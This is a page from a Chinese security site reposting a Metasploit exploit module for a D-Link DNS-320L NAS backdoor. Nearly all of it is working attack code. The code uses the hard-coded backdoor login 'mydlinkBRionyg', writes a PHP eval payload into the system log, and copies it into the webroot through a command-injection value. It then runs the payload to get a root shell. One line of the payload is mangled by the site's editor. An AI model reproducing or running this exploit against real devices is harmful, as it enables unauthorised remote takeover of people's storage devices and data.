首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
D-Link DNS-320L 'mydlinkBRionyg' Backdoor
来源:metasploit.com 作者:Bercegay 发布时间:2018-01-05  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "D-Link DNS-320L 'mydlinkBRionyg' Backdoor",
      'Description'    => %q{
        This module exploits two issues. The first issue is that there is a hard 
        coded backdoor within DNS-320L devices. Using this backdoor access we 
        can then reach buggy code which is vulnerable to command injection. Root 
        shell will be spawned upon successful exploitation. Firmare versions 1.0 
        (2012/6/15) to 6.0 (2015/07/28) are vulnerable.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Bercegay', # Vulnerability Discovery
        ],
      'References'     =>
        [
          [ 'URL', 'https://gulftech.org/' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => '2018-01-03',
      'DefaultTarget'  => 0))
  end

  def check
      
      # We check for the presence of this vulnerability by requesting a default 
      # system file and checking if the response code is 302.
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => "/cgi-bin/nas_sharing.cgi",
        'vars_post' => {
          'cmd' => 7,
          'user' => "mydlinkBRionyg",
          'passwd' => Rex::Text.encode_base64("abc12345cba"),
          'path' => Rex::Text.encode_base64("/mnt/HD/HD_a2/.!@$mmc")
        }
      })

    if res and res.code == 302
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit

    # Make things a bit less obvious?
    rnd = Rex::Text.rand_text_hex(rand(10) + 5)
    idx = rand(1000)

    # We know the system supports PHP, so we go with a PHP payload
    print_status("Injecting selected payload into user logs")

      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => "/cgi-bin/login_mgr.cgi",
        'vars_post' => {
          'cmd' => 'logout',
          'name' => "<?php unlink(__FILE__);eval(base64_decode(
___FCKpd___0
REQUEST[#{idx}]));?>" } }) # We are not allowed to use spaces or $IFS etc. print_status("Copying payload from syslog to webroot") res = send_request_cgi({ 'method' => 'POST', 'uri' => "/cgi-bin/nas_sharing.cgi", 'vars_post' => { 'cmd' => 15, 'user' => "mydlinkBRionyg", 'passwd' => Rex::Text.encode_base64("abc12345cba"), 'system' => Rex::Text.encode_base64("cat</var/log/user.log>/var/www/#{rnd}.php") } }) # Execute the selected payload print_status("Now attempting to execute the selected payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => "/#{rnd}.php", 'vars_post' => { idx => Rex::Text.encode_base64("#{payload.encoded};") } }) end end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Western Digital WDMyCloud 'myd
·VMware Workstation ALSA Config
·Iopsys Router - 'dhcp' Remote
·Ayukov NFTP FTP Client Buffer
·Multiple CPUs - 'Spectre' Info
·GetGo Download Manager 5.3.0.2
·Kingsoft Antivirus/Internet Se
·Microsoft Windows win32k - Usi
·Linksys WVBR0-25 User-Agent Co
·Cisco IOS - Remote Code Execut
·Xplico Remote Code Execution
·VX Search Enterprise 10.1.12 -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved